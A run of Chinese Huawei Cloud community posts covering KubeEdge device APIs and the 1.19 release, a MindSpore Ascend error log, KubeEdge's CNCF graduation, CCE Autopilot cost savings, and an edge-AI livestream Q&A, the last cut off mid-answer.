则定义了设备属性的最大最小值，Unit 字段定义了设备属性的单位。下图展示了一个 Device Model 配置文件的示例：apiVersion: devices.kubeedge.io/v1beta1 kind: DeviceModel metadata: name: beta1-model spec: properties: - name: temp # define device property description: beta1-model type: INT # date type of device property accessMode: ReadWrite maximum: "100" # range of device property (optional) minimum: "1" unit: "Celsius" # unit of device property protocol: modbus # protocol for device, need to be same with device instance▍2. Device Instance一个 Device Instance 代表一个实际的设备对象。v1beta1 版本中，Device Instance 中内置的协议配置全部移除，包括 Modbus、OPC-UA、Bluetooth 等。用户可以通过可扩展的 Protocol 配置来设置设备协议，能够实现任何协议的设备接入。Modbus、OPC-UA、Bluetooth 等内置协议的 Mapper 仍会保留在 Mappers-go 仓库中，同时也会不断增加其他协议的内置 Mapper。type ProtocolConfig struct { // Unique protocol name // Required. ProtocolName string `json:"protocolName,omitempty"` // Any config data // +optional // +kubebuilder:validation:XPreserveUnknownFields ConfigData *CustomizedValue `json:"configData,omitempty"` } type CustomizedValue struct { Data map[string]interface{} `json:"-"` }此外，为增强 DMI 数据面功能，本次更新在 Device Instance 的设备属性中增加了设备数据处理的相关配置，例如设备上报频率、数据推送频率、属性是否上报云端、设备数据推送方式，如下图所示。type DeviceProperty struct { ... // Define how frequent mapper will report the value. // +optional ReportCycle int64 `json:"reportCycle,omitempty"` // Define how frequent mapper will collect from device. // +optional CollectCycle int64 `json:"collectCycle,omitempty"` // whether be reported to the cloud ReportToCloud bool `json:"reportToCloud,omitempty"` // PushMethod represents the protocol used to push data, // please ensure that the mapper can access the destination address. // +optional PushMethod *PushMethod `json:"pushMethod,omitempty"` }ReportCycle 字段定义了 Mapper 向用户数据库、用户应用推送数据的频率；CollectCycle 字段定义了 Mapper 向云端上报数据的频率；ReportToCloud 字段定义了 Mapper 采集到的设备数据是否需要上报云端；PushMethod 字段定义了 Mapper 推送设备数据的方式。目前提供 HTTP、MQTT 以及 OpenTelemetry 等方式向用户应用推送数据，并内置集成 InfluxDB、MySQL、Redis、TDengine 数据库。用户能够通过配置文件控制Mapper 向用户应用、用户数据库中定时推送设备数据，也能够通过 API 主动拉取设备数据，实现设备数据处理方式的多样化，相比于将所有数据推送至云端再行处理的传统方法，能够有效减少云边通信阻塞的风险。下图展示了一个 Device Instance 配置文件的示例：apiVersion: devices.kubeedge.io/v1beta1 kind: Device ... spec: properties: - name: temp collectCycle: 2000 # The frequency of reporting data to cloud, 2 seconds reportCycle: 2000 # The frequency of data push to user applications or databases, 2 seconds reportToCloud: true # Decide whether device data needs to be pushed to the cloud pushMethod: mqtt: # Define the MQTT config to push device data to user app address: tcp://127.0.0.1:1883 topic: temp qos: 0 retained: false visitors: # Define the configuration required by the mapper to access device properties (e.g. register address) protocolName: modbus configData: register: "HoldingRegister" offset: 2 limit: 1 protocol: # Device protocol. The relevant configuration of the modbus protocol is defined in the example. protocolName: modbus configData: serialPort: '/dev/ttyS0' baudRate: 9600基于 v1beta1版本的设备管理 API，我们以 Kubernetes CRD 的形式将 Device Model 与 Device Instance 引入 KubeEdge 集群。如需要更多详细的信息，可以参考设备管 API 的 proposal 文件[1] 以及相关 PR[2]。在本系列的下一篇文章中，我们会对 DMI 数据面能力的支持进行详细的介绍。▍相关链接[1]  docs/proposals/device-crd-v1beta1.md：cid:link_1[2]  相关PR：device crd v1beta1 and API definition：cid:link_2【更多KubeEdge资讯推荐】玩转KubeEdge保姆级攻略——环境搭建篇玩转KubeEdge保姆级攻略——环境搭建篇《玩转KubeEdge保姆级攻略——环境搭建篇》课程主要介绍如何通过华为云服务快速搭建一套KubeEdge边缘计算开发平台及部署Sedna、EdgeMesh等KubeEdge生态组件。课程免费学习链接：cid:link_0KubeEdge社区介绍：KubeEdge是业界首个云原生边缘计算框架、云原生计算基金会（CNCF）唯一毕业级边缘计算开源项目，社区已完成业界最大规模云原生边云协同高速公路项目（统一管理10万边缘节点/50万边缘应用）、业界首个云原生星地协同卫星、业界首个云原生车云协同汽车、业界首个云原生油田项目，开源业界首个分布式协同AI框架Sedna及业界首个边云协同终身学习范式，并在持续开拓创新中。KubeEdge网站 :  https://kubeedge.ioGitHub地址 : cid:link_3Slack地址 : https://kubeedge.slack.com邮件列表 : https://groups.google.com/forum/#!forum/kubeedge每周社区例会 : https://zoom.us/j/4167237304Twitter : https://twitter.com/KubeEdge文档地址 : https://docs.kubeedge.io/en/latest/

KubeEdge 1.19.0版本现已正式发布。新版本在节点和设备方面引入了多个新特性，同时带来了全新版本的 Dashboard。 KubeEdge v1.19 新增特性：支持边缘节点上报 Event支持边缘节点 OTA 升级Mapper 支持设备数据写入Mapper 框架新增支持 OpenTelemetry全新版本 Dashboard  新特性概览  ▍支持边缘节点上报 EventKubernetes Event 作为集群中事件的报告，可以反馈节点、Pods 等集群资源的状态变化。在1.19版本中，EdgeCore 支持了边缘 Event 的上报，用户可以直接在云端通过kubectl get events 或者kubectl describe {resource_type} {resource_name} 获取边缘节点或者 pods 等状态。该特性在1.19版本中默认关闭，使用EdgeCore时执行--set modules.edged.reportEvent=true 或者如下修改 EdgeCore 配置参数并重启 EdgeCore。apiVersion: edgecore.config.kubeedge.io/v1alpha2 kind: EdgeCore featureGates:   requireAuthorization: true modules:   ...   edged:     reportEvent: true ...更多信息可参考：cid:link_3cid:link_4▍支持边缘节点 OTA 升级新版本在节点升级 NodeUpgradeJob 基础上新增了边端节点卡点确认和对镜像摘要的验证。卡点确认可以使节点升级下发到边缘节点后，在用户得到确认后才进行升级。镜像摘要验证可以确保在边缘节点待升级的 kubeedge/installation-pacakge 镜像是安全可靠的。在1.19版本中，我们可以通过 YAML 配置 NodeUpgradeJob 的 imageDigestGatter 来定义镜像摘要，value 用于直接定义摘要的值，registryAPI 用于通过 registry v2 接口获取镜像摘要，两者互斥，如果都没有配置则在升级时不进行镜像摘要的校验，样例：spec:   ...   imageDigestGatter:     value: ""     registryAPI:       host: ""       token: ""我们还可以通过 YAML 配置 NodeUpgradeJob 的 requireConfirmation 来定义是否要在边端进行确认操作，样例：spec:   ...   requireConfirmation: true当 requireConfirmation 设置为 true 时，在边端节点升级任务下发到边端后，任务状态会更新为 confirmation 状态等待边端发起确认命令后再继续进行升级。我们可以通过执行 keadm ctl 指令进行确认，以继续升级任务：keadm ctl confirm或者调用 Metaserver 接口进行确认，以继续升级任务：POST http(s)://localhost:<metaserver_port>/confirm更多信息可参考：cid:link_2cid:link_5cid:link_6▍Mapper 支持设备数据写入 Mapper 当前能够采集设备数据并上报，但在设备数据写入方面仍不完善。1.19版本在 Mapper-Framework 中增加了设备数据写入的能力，允许用户通过 Mapper 提供的 API 调用 device method，对 device property 完成数据写入。Device method API目前基于物模型的 v1beta1 版本的设备管理 API 包含 device property 的定义，在1.19版本中，新增 device method 的定义。Device method 指设备能够被外部调用的能力或方法，一个 device method 能够控制多个 device property 值。用户能在 device-instance 文件中定义 device method，通过 device method 完成 device property 的控制、写入。spec:   ...   methods:     - name: ""       description: ""       propertyNames:       - ""设备数据写入在1.19中改进 Mapper API 能力，新增 device method 调用接口。用户能够调用相关的接口获取某个设备包含的所有 device method，以及 device method 的调用命令，通过返回的调用命令发起设备写入请求。device method 的具体功能实现需要用户自行在 Mapper 的设备驱动层中完成。更多信息可参考：cid:link_7cid:link_8▍Mapper 框架新增支持 OpenTelemetry 当前 Mapper 向用户应用推送设备数据默认内置 HTTP 与 MQTT 两种方式，但仍存在部分应用无法直接以这两种方式进行推送。在1.19版本中我们在数据面引入 OpenTelemetry 观测框架，能够封装设备数据并向多类应用或数据库推送数据，例如 GreptimeDB、 Prometheus 等，增强 Mapper 数据面推送设备数据的能力。spec:   ...   properties:     - name: ""       pushMethod:          otel：           endpointURL: ""更多信息可参考：cid:link_9▍全新版本 Dashboard之前发布的 KubeEdge Dashboard，新版本使用主流的 Next.js 框架以及 MUI 样式库对其进行了重构。在新版本中我们重构并优化了近60个页面与组件，基于 KubeEdge 最新版本的后端 API，我们完善并增加了 Device 等相关功能页面，并在不影响原有功能的基础上将代码量减少至原先的四分之一。在这个过程中，我们整理完善了 Kubernetes 以及 KubeEdge 后端接口的 Typescript 类型定义，并将依赖的后端接口更新至最新版本，确保其与最新的 KubeEdge 兼容。更多信息可参考：cid:link_10 版本升级注意事项 下个版本（v1.20），EdgeCore的配置项edged.rootDirectory的默认值将会由/var/lib/edged切换至/var/lib/kubelet，如果您需要继续使用原有路径，可以在使用keadm 安装EdgeCore时设置 --set edged.rootDirectory=/var/lib/edged。从1.19版本开始，请在使用 keadm 安装 KubeEdge 时，使用--kubeedge-version 指定版本，--profile version 已废弃。▍致谢感谢 KubeEdge 社区技术指导委员会 (TSC)、各 SIG 成员对v1.19版本开发的支持与贡献，未来 KubeEdge 将持续在新场景探索与支持、稳定性、安全性、可扩展性等方面持续发展与演进！▍相关链接Release Notes：cid:link_1【更多KubeEdge资讯推荐】玩转KubeEdge保姆级攻略——环境搭建篇玩转KubeEdge保姆级攻略——环境搭建篇《玩转KubeEdge保姆级攻略——环境搭建篇》课程主要介绍如何通过华为云服务快速搭建一套KubeEdge边缘计算开发平台及部署Sedna、EdgeMesh等KubeEdge生态组件。课程免费学习链接：cid:link_0KubeEdge社区介绍：KubeEdge是业界首个云原生边缘计算框架、云原生计算基金会内部唯一孵化级边缘计算开源项目,社区已完成业界最大规模云原生边云协同高速公路项目（统一管理10万边缘节点/50万边缘应用）、业界首个云原生星地协同卫星、业界首个云原生车云协同汽车、业界首个云原生油田项目，开源业界首个分布式协同AI框架Sedna及业界首个边云协同终身学习范式，并在持续开拓创新中。KubeEdge网站 :  https://kubeedge.ioGitHub地址 : https://github.com/kubeedge/kubeedgeSlack地址 : https://kubeedge.slack.com邮件列表 : https://groups.google.com/forum/#!forum/kubeedge每周社区例会 : https://zoom.us/j/4167237304Twitter : https://twitter.com/KubeEdge文档地址 : https://docs.kubeedge.io/en/latest/

MindSpore2.3.0+Ascend910A，镜像为swr.cn-north-4.myhuaweicloud.com/atelier/mindspore_2_3_ascend:mindspore_2.3.0-cann_8.0.rc2-py_3.9-euler_2.10.7-aarch64-snt9b-20240727152329-0f2c29a，运行测试样例报错RuntimeError: Call aclnnSub failed, detail:EZ9999: Inner Error!kernel没装全导致二进制算子操作报错。/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/numpy/core/getlimits.py:499: UserWarning: The value of the smallest subnormal for <class 'numpy.float64'> type is zero. setattr(self, word, getattr(machar, word).flat[0])/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/numpy/core/getlimits.py:89: UserWarning: The value of the smallest subnormal for <class 'numpy.float64'> type is zero. return self._float_to_str(self.smallest_subnormal)/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/numpy/core/getlimits.py:499: UserWarning: The value of the smallest subnormal for <class 'numpy.float32'> type is zero. setattr(self, word, getattr(machar, word).flat[0])/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/numpy/core/getlimits.py:89: UserWarning: The value of the smallest subnormal for <class 'numpy.float32'> type is zero. return self._float_to_str(self.smallest_subnormal)[ERROR] RUNTIME_FRAMEWORK(3361,ffff93dd11e0,python):2024-10-31-20:00:24.542.957 [mindspore/ccsrc/runtime/graph_scheduler/actor/actor_common.cc:327] WaitRuntimePipelineFinish] Wait runtime pipeline finish and an error occurred: Call aclnnSub failed, detail:EZ9999: Inner Error!EZ9999: 2024-10-31-20:00:24.531.850 Parse dynamic kernel config fail.[THREAD:3973] TraceBack (most recent call last): AclOpKernelInit failed opType[THREAD:3973] Op Sub does not has any binary.[THREAD:3973] Kernel Run failed. opType: 3, Sub[THREAD:3973] launch failed for Sub, errno:561000.[THREAD:3973]----------------------------------------------------- C++ Call Stack: (For framework developers)----------------------------------------------------mindspore/ccsrc/plugin/device/ascend/kernel/opapi/aclnn/sub_aclnn_kernel.h:36 RunOpTraceback (most recent call last): File "/home/ma-user/work/Test/test.py", line 36, in <module> out = net(x, y) File "/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/mindspore/nn/cell.py", line 703, in __call__ out = self.compile_and_run(*args, **kwargs) File "/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/mindspore/nn/cell.py", line 1074, in compile_and_run return _cell_graph_executor(self, *new_args, phase=self.phase) File "/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/mindspore/common/api.py", line 1860, in __call__ return self.run(obj, *args, phase=phase) File "/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/mindspore/common/api.py", line 1911, in run return self._exec_pip(obj, *args, phase=phase_real) File "/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/mindspore/common/api.py", line 185, in wrapper results = fn(*arg, **kwargs) File "/home/ma-user/anaconda3/envs/MindSpore/lib/python3.9/site-packages/mindspore/common/api.py", line 1891, in _exec_pip return self._graph_executor(args, phase)RuntimeError: Call aclnnSub failed, detail:EZ9999: Inner Error!EZ9999: 2024-10-31-20:00:24.531.850 Parse dynamic kernel config fail.[THREAD:3973] TraceBack (most recent call last): AclOpKernelInit failed opType[THREAD:3973] Op Sub does not has any binary.[THREAD:3973] Kernel Run failed. opType: 3, Sub[THREAD:3973] launch failed for Sub, errno:561000.[THREAD:3973]----------------------------------------------------- C++ Call Stack: (For framework developers)----------------------------------------------------mindspore/ccsrc/plugin/device/ascend/kernel/opapi/aclnn/sub_aclnn_kernel.h:36 RunOp

10月15日，云原生计算基金会（CNCF）宣布，KubeEdge正式成为CNCF毕业项目。KubeEdge由华为云开源并捐赠CNCF，是业界首个云原生边缘计算项目。正式从CNCF毕业，标志了KubeEdge的技术生态受到全球业界广泛认可，云原生边缘计算技术迈入了成熟新阶段。华为云CTO张宇昕表示：“KubeEdge自开源以来，获得了业界伙伴、用户的关注支持，在智慧交通、金融、能源、网联汽车、机器人、物流等行业领域都取得了突破性的创新实践，KubeEdge的毕业也将进一步推动企业的云原生数字化转型，释放更大的产业价值。华为云作为云原生技术的先行者与普及者，未来将继续与CNCF和社区合作，共同推动云原生产业的发展。”华为首席开源联络官、CNCF基金会董事任旭东表示：“华为多年来砥砺ICT产业创新和方案，深耕基础软件，并积极参与和发起开源项目，与伙伴、客户和开发者共创共建社区，致力于产业健康和商业成功。KubeEdge项目是华为在基础软件开源领域的又一重要贡献，推动了云原生技术在边缘计算场景中的创新实践，为多个行业的数字化转型提供了关键支撑。未来，华为将持续开源创新，与全球伙伴共同构建繁荣的产业生态。”​华为云坚持开源开放引领云原生新兴领域KubeEdge云原生边缘计算项目于2018年11月由华为云宣布开源，它完整地打通了边缘计算中云、边、设备协同的场景，为用户提供一体化的云边端协同解决方案。KubeEdge将Kubernetes原生的容器编排和调度能力扩展到边缘，提供边缘应用管理、云边元数据同步、边缘设备管理等能力，同时也在边缘网络、边云协同AI、边云协同机器人管理等创新方向持续创新实践。秉承开源开放的治理模式和协作理念，KubeEdge社区迅速发展，目前拥有来自贡献者覆盖全球超过35个国家地区，110家组织。华为云是全球云原生开源技术的推动者和领导者。华为云长期拥有CNCF项目技术委员会、治理委员会成员及核心Maintainer等多个席位，还是CNCF唯一的中国创始成员，并在2024年获得了全球顶级开源组织CNCF中国本土唯一TOC委员席位（全球共11席）。多行业、多场景商业落地使能产业升级华为云以KubeEdge为核心，构建了智能边缘平台IEF（Intelligent EdgeFabric），当前已广泛应用于智能交通、智慧能源、智慧零售、智慧园区、汽车、航空航天、智能物流、金融、化工、区块链等各领域。华为云以其云原生边缘的独特优势，得到众多客户伙伴的高度认可。边缘计算是中国铁塔将“通信塔”升级为“数字塔”关键，能让全国210万+的铁塔快速实现升级。中国铁塔视联平台从提出到成熟经历多个阶段，在发展阶段IEF以其异构兼容、云边协同能力支撑了铁塔更经济性地发挥边缘计算、调度云边协同，为铁塔更好地服务于广大民生夯实了基础。蔚来汽车战略新业务数字系统架构师蒋旭辉：“KubeEdge作为专为云边协同开发的平台，可以有效解决汽车领域应用云原生技术栈面临的算力稀缺、海量边缘节点、运行环境差异等挑战。我们经过大量调研和选型工作后，以KubeEdge为核心构建蔚来整套车云协同平台，并首次用于量产车型，带来开发交付效率、团队协作等方面的显著提升，并将实现超大规模的边缘汽车管理。”顺丰科技边缘云容器负责人程庞钢：“顺丰科技在物流领域深耕多年，KubeEdge如同我们迈向智能化的得力助手。从物流分拣的高效运作到运输环节的全生命周期处理，KubeEdge所提供的边缘计算能力助力我们打造更智慧、更高效的物流体系。”随着企业用云广度和深度的不断拓展，华为云也不断拓展和升级云原生服务应用，在云原生Al基础设施、Serverless架构、多云和混合云战略、云边端协同等领域持续投入，以技术革新为驱动，打造业界领先的云原生解决方案。华为云连续八次中国容器软件市场份额No.1，分布式云原生UCS、云容器引擎CCE、Serverless容器CCE Autopilot和CCI等代表产品持续引领全行业智能化发展趋势，为企业数智化转型提供强大动力。【更多KubeEdge资讯推荐】玩转KubeEdge保姆级攻略——环境搭建篇玩转KubeEdge保姆级攻略——环境搭建篇《玩转KubeEdge保姆级攻略——环境搭建篇》课程主要介绍如何通过华为云服务快速搭建一套KubeEdge边缘计算开发平台及部署Sedna、EdgeMesh等KubeEdge生态组件。课程免费学习链接：cid:link_0KubeEdge社区介绍：KubeEdge是业界首个云原生边缘计算框架、云原生计算基金会内部唯一孵化级边缘计算开源项目,社区已完成业界最大规模云原生边云协同高速公路项目（统一管理10万边缘节点/50万边缘应用）、业界首个云原生星地协同卫星、业界首个云原生车云协同汽车、业界首个云原生油田项目，开源业界首个分布式协同AI框架Sedna及业界首个边云协同终身学习范式，并在持续开拓创新中。KubeEdge网站 : https://kubeedge.ioGitHub地址 : cid:link_2Slack地址 : https://kubeedge.slack.com邮件列表 : cid:link_1每周社区例会 : https://zoom.us/j/4167237304Twitter : https://twitter.com/KubeEdge文档地址 : https://docs.kubeedge.io/en/latest/

自Serverless概念问世以来，它就被赋予了诸多标签，如全托管、免运维、极速弹性以及极致成本，CCE Autopilot作为华为云容器Serverless家族的新成员，自从发布以来受到了广泛的关注。CCE Autopilot以更低的集群管理费用和数据面资源的按需秒级计费模式，被视为企业降本的利器。然而，一些细心的客户在细致计算后发现，CCE Autopilot的资源单价似乎比ECS虚拟机的同等规格价格更高。CCE Autopilot是否真的能做到有效降本？为了解答这一疑惑，本文将深入探讨CCE Autopilot如何帮助客户实现最佳成本优化。基于Serverless架构，CCE Autopilot提供了以下成本优化方面的优势：• 运维成本： 通过自动化管理，显著减少基础设施的运维人力投入。• 时间成本： 实现快速的应用发布和高效的产品迭代。• 资源成本：采用按需计费模式，有效减少资源浪费。运维和时间成本因缺乏统一标准而难以量化，这使得它们无法被立即感知， 相比之下，资源成本则可以通过每月流水直观呈现，这也是大多数客户最关心的部分，Autopilot如何为客户节省成本？我们通过一个客户案例来了解。X 客户公司的核心业务是数字化娱乐平台。每日 21 点至凌晨 2 点是其业务高峰期，在此期间的流量约为低峰期流量的 10 倍，而周末的峰值流量更是低峰期流量的 15 倍以上。为了有效应对每日的流量高峰，客户按照业务的最大峰值预留资源，购入了 100 台 16u 的服务器，共计 1600vCPU 的资源。然而，每天约有16个小时，该客户的资源使用量都不足 10%。在切换至 CCE Autopilot 集群之后，在每日约 16 个小时的低峰期，客户仅需之前资源总量的 20% 就可以保障业务在低峰期稳定运行；而在高峰期，则通过弹性方式自动进行扩容。通过优化容器资源规格设置、弹性策略使资源利用更高效、购买套餐包等一系列Serverless 改造，实现整体资源成本消耗降低了 60%。通过此案例可以看出CCE Autopilot 集群相较于传统模式能够显著降低资源成本。接下来我们具体介绍客户案例中CCE Autopilot降低成本的三个最佳实践。▍一、优化容器资源规格设置传统的节点模式下，通常我们会先依据流量峰值规划业务资源，再购买节点 。在此过程中，我们常常会设置一个较小的 request 值以确保 POD 能够顺利调度，同时设置一个较大的 limit 值以便共享节点资源，特别是在新增 POD 的场景下，为了尽可能减少资源用量，往往会选择一个稍显空闲的节点“挤一挤”。然而，这种模式也带来了一些问题：节点资源实际使用率低：据 Gartner 统计，企业集群节点CPU 平均使用率不足 15%。由于需要预留高峰时期的资源以及申请资源时存在不确定性，节点实际利用率较低。高峰时节点存在过载风险：为了更多地利用资源，每个节点配置的 limit 总和往往远大于节点规格。一旦出现业务波峰，很有可能超过节点资源上限，从而出现过载情况。Serverless 模式下计费是按照实际资源规格，即 limit 的规格来收费的。然而许多客户在从传统的节点模式向 Serverless 模式迁移过程中仍然采用了节点模式下的资源配置方式，导致很多客户在计算成本时觉得 Serverless 模式成本变高。CCE Autopilot场景下，充分利用Serverless的按量计费的特性，合理设置POD的规格可以有效降低使用成本。CCE Autopilot 支持最小0.25u的起步规格以及1:1~1:8的宽CPU:内存配置范围，能够满足不同场景下的业务容器规格需求。相较于节点模式，Serverless场景下资源可以做到按需秒级弹性，不再需要提前预留资源，可以根据实际业务需求定义容器资源大小，通过设置合理的容器规格可以有效降低业务低峰时的资源量。在上述的客户案例中，客户其中四个核心应用部署在20个16u节点上，节点容器limit规格总和约30u，超过ECS虚机规格的87.5%。但是每个节点的实际资源利用率用在业务低峰的16个小时内不足10%，切换到CCE Autopilot集群后，客户重新规划了pod规格，按照实际资源使用量调整了每个pod的limit值，每个应用仅保留最小实例数。进行改造后，低峰时的资源消耗降低了80%以上。▍二、通过弹性策略使资源利用更高效在节点模式下，由于整体的资源量基本已经固定，应用副本数量的弹性伸缩不会带来太多的成本收益，然而在Serverless模式下每减少一个POD都会减少对应的成本支出。因此让资源更加贴合我们的实际业务时，能达到成本的极致优化。CCE Autopilot 支持的秒级弹性伸缩能力，可以在扩缩容过程中实现应用无感，配合HPA、CronHPA等丰富的自动弹性策略，能够极大的优化使用成本。基于HPA有效提高资源利用率：HPA旨在通过对一系列指标(如：CPU、内存、网络、磁盘等)的监控实现自动的资源扩缩，可以根据业务的敏感类型关联合适的指标， 做到资源随业务同步波动。HPA弹性的POD数量范围可以根据日常监控指标逐步优化，最小值接近业务低谷时最小规格可以有效降低资源成本投入。HPA+CronHPA 轻松面对各种周期性弹性场景：CronHPA提供了周期性的弹性方案，可以基于日、周、月、年灵活的配置弹性周期。大多数客户场景都存在一定周期性稳定的波动，但是随着业务的变化，周期性弹性的资源也需要不断的调整，频繁的更改参数也会增加运维负担，将CronHPA的策略作用于HPA，通过CronHPA实现整体的范围控制，HPA进一步在基础上细化资源的雕刻，能够实现更加精益的资源管理。在上述的客户案例中，客户也同样采取了HPA+CronHPA弹性的方案，每天业务高峰提前扩容，再根据CPU使用量动态进行扩容，核心业务弹性阈值为60%，在业务高峰场景下能做到分钟级弹性100+POD，相较于原来的场景业务高峰时段资源消耗降低了20%。客户通过重新规划容器低峰时资源规格+动态扩容的方式做到了整体资源使用量降低60%。▍三、套餐包模式提供包周期的价格按需的使用体验Serverless 场景下按需资源使用是其最大的亮点，但是如果用按需的单价跑一些长稳的业务就不够划算。传统的包周期模式能够让客户享受更低的折扣，但是灵活性较差，对于Serverless这种资源需要灵活扩缩的场景并不友好。为此，CCE Autopilot 推出了套餐包，让用户可以一次购买一定量的CPU核时和内存GB时，套餐包中的资源被使用完以后，用户可以继续购买套餐包，始终可以按照包周期的价格享受Serverless的灵活模式。目前CCE Autopilot的套餐包分为包月和包年两种模式，提供了1000，10000, 100000（CPU单位 核时，内存单位 GB/时）三个不同档位满足不同用量的客户述求，包年套餐折算后最低最约为按需价格的6折，可以有效为客户节省成本投入。更多优惠活动详见华为云容器专场官网cid:link_0▍总 结CCE Autopilot能够从架构上极大地解决资源率低的问题，从而带来整体成本支出上的减少。Serverless模式同时也带来了我们对成本全新的理解：从以固定资源到以动态应用为中心：传统的资源管理往往依赖于固定的资源配置，而Serverless架构的资源则是跟随业务自动调整。从固定成本到按需付费：Serverless架构能够根据业务需求自动扩缩资源，用户只需为实际使用的资源付费，而不是预先购买固定数量的资源。当我们从Serverless视角重新审视资源成本构成以后，就可以充分利用Serverless架构的优势，实现成本效益最大化。云容器引擎 CCE

展望未来科技前沿，探索云原生边缘计算与边缘AI的无限可能！本期直播我们将解读业界首个云原生边缘计算框架KubeEdge的架构设计，如何实现边云协同AI，将AI能力无缝下沉至边缘，让AI赋能边侧各行各业，构建智能、高效、自治的边缘计算新时代，共同探索智能边缘的新篇章！直播链接：cid:link_0Q：云边协同推理是在云和边各一个模型吗？是通过什么指标将任务卸载到云端呢？A:sedna案例中云边协同推理是将一个大模型部署在云端，并将一个小模型部署在边缘端，对于简单的推理任务可以直接在边端推理，针对较难的任务可以由云端大模型推理。我们可以设置一个置信度阈值指标判断推理任务是否是难例，将难例使用云端大模型推理。Q：k8s 调用 kubeEdge 服务兼容性不匹配，如何解决？A:可能是因为版本的原因，一个kubeedge的版本能够兼容3个k8s的版本，需要安装合适版本的k8s。Q：边缘节点的故障恢复，KubeEdge是如何处理的？A:KubeEdge利用边缘侧轻量级数据库实现了云边消息元数据的持久化，这是其故障恢复能力的重要基础。通过将Pod、ConfigMap等基础元数据持久化在边缘节点上，确保即使在边缘节点离线或重启后，这些元数据也能被保留下来。这样，当边缘节点重新上线时，它可以直接从本地获取这些元数据，快速恢复应用的状态。Q：现在安装KubeEdge最简单的方式有推荐吗？A:社区推荐大家使用官方安装组件keadm进行安装，使用keadm安装时在云端节点只需执行keadm init命令进行初始化，获取秘钥后在边缘节点上执行keadm join命令即可。详细的安装教程可以参考官方文档https://kubeedge.io/docs/setup/install-with-keadm。此外，对于想试用KubeEdge功能的初学者，还可以使用keink工具自动创建一个KubeEdge集群，可以参考https://github.com/kubeedge/keinkQ：KubeEdge在边缘AI场景下如何提升模型的推理效率？A:kubeedge一方面借助Kubernetes的容器编排能力，实现了边缘AI应用的自动化部署和管理。另一方面还提出边缘AI智能框架sedna，其边云协同的理念能借助云端充足的资源提升边缘模型的性能，也可以使用边云协同推理提升系统推理效率。Q：kubeedge是否在边缘异常断电文件系统损坏做了相关优化， 边缘侧电力稳定性有可能较差，会存在异常断电场景A:kubeedge主要是对云边消息传递的可靠性做了增强，使用一个轻量级数据库存储云边控制命令的元数据，对于边缘节点的文件系统没有做相关的功能增强。Q：介绍一下边缘节点和kubeEdge的部署A:我们目前有三种方式部署kubeedge，分别是采用keadm、二进制部署以及keink自动部署，相关文档可以参考https://kubeedge.io/docs/category/setupQ：边缘AI在哪些行业有应用前景？A:边缘AI在智慧城市、智能家居、智慧医疗、AR/VR技术等方面有着广阔的应用前景。Q：边缘计算环境中，KubeEdge如何保障数据的安全性和隐私性？A:KubeEdge在节点安全方面，采用了容器隔离、CNI网络安全、节点入侵检测和容器自愈等技术。在访问控制方面，利用Kubernetes的RBAC（基于角色的访问控制）权限管理功能，能够对集群资源进行细粒度的访问控制。Q：云边之间的数据传输是否支持视频格式的传输？A:这里我们主要考虑到视频一般的传输数据量是很大的，如果使用云边通道进行传递会导致严重的通信负荷，使用目前在kubeedge 1.17版本的特性中我们只实现将摄像头采集到的视频流转化成帧文件或者视频片段存在边缘节点上，暂时不支持向云端传输。Q：CDN部署过程中，怎么保证节点容器有序和可控的升级？ 是否支持版本的A/B 测试？ 怎么对升级过程进行校验？A:可以通过分批升级与组内升级并发控制、细粒度版本设置、升级校验等方式解决以上问题，可以参考https://kubeedge.io/zh/case-studies/ctyun/Q：对于数据孤岛问题。对于需要对设备调节参数的场景，同一租户在不同楼宇中的控制系统，甚至电力系统部互通。那么对于这种需要预测的参数怎么去调整？同样的情况下，基于安全原因，不支持打洞，那edgemesh是不是就不能用了？A:可以采用sedna中提供的联邦学习能力，在边缘侧直接进行模型训练，只把训练得到的模型参数上传云端。Edgemesh核心的特点就是使用中继和P2P打洞技术联通边缘节点。Q：云边协同推理是根据哪些指标将任务卸载到云端呢？A:在sedna有关云边协同推理的案例中，是通过设置一个阈值指标用于衡量推理任务是否是难例，可以将难例放置在云端进行推理。Q：Sedna的推算准确率高吗？达到了什么样的程度？A:sedna的定位主要是为了将用户已有的AI应用下沉至边缘侧，能够让用户部署更便捷，推算的准确度一般是和用户的训练得到的模型相关。Q：云端训练后的结果如何通过局域网推送到边缘端设备？A:可以通过云边通道、edgemesh来进行通信。Q：对比其他边缘计算框架，KubeEdge有哪些独到之处？A:KubeEdge的核心理念是基于Kubernetes提供的云原生能力，在边缘计算场景下进行了增强，所以一方面有云原生的基础能力支持，比如利用容器化技术屏蔽边缘复杂的底层硬件环境、利用云原生管理技术能够让故障的用户应用迅速回滚；另一方面做了组件轻量化、云边消息可靠性增强以及边缘设备管理能力增强，更加适合云原生边缘计算场景。Q：因docker的问题边端安装时基础环境镜像无法下载的问题怎么处理，官方是否有备用镜像库A:可以在能够下载镜像的节点上下载镜像，再打包至边缘节点。Q：分集群部署K8s的控制面和集群太多，怎么构建统一的CDN调度平台又不会过度占用机器资源？A:案例中CDN管理平台是在大区的区域中心、数据中心上部署k8s集群，通过kubeedge纳管边缘节点，具体的技术实现可以参考kubeedge官网的案例解读https://kubeedge.io/zh/case-studies/ctyun/Q：如何评估一个应用场景是否适合采用KubeEdge进行边缘AI部署？A:可以看具体的应用场景是否有云边协同的需求Q：Sendna的模型管理中，模型文件量化是如何处理的？模型work是独立运行在容器里面的还是需要和业务相结合的，例如视频的解码、推理、编码不放在一个容器里面的话延时是否会有问题？A:需要根据实际的使用场景判断，比如解码、推理、编码容器是部署在一个节点上、或者部署在多个节点上的时延是不同的。Q：脸检测模型最多同时检测到多少张脸啊？A:需要针对模型的性能、节点资源等角度具体分析。Q：karmada和KubeEdge有哪些区别？A:karmada是面向多云原生集群编排的，kubeedge主要面向云原生边缘计算场景。Q：如何解决边缘节点样本数量少的问题？A:kubeedge 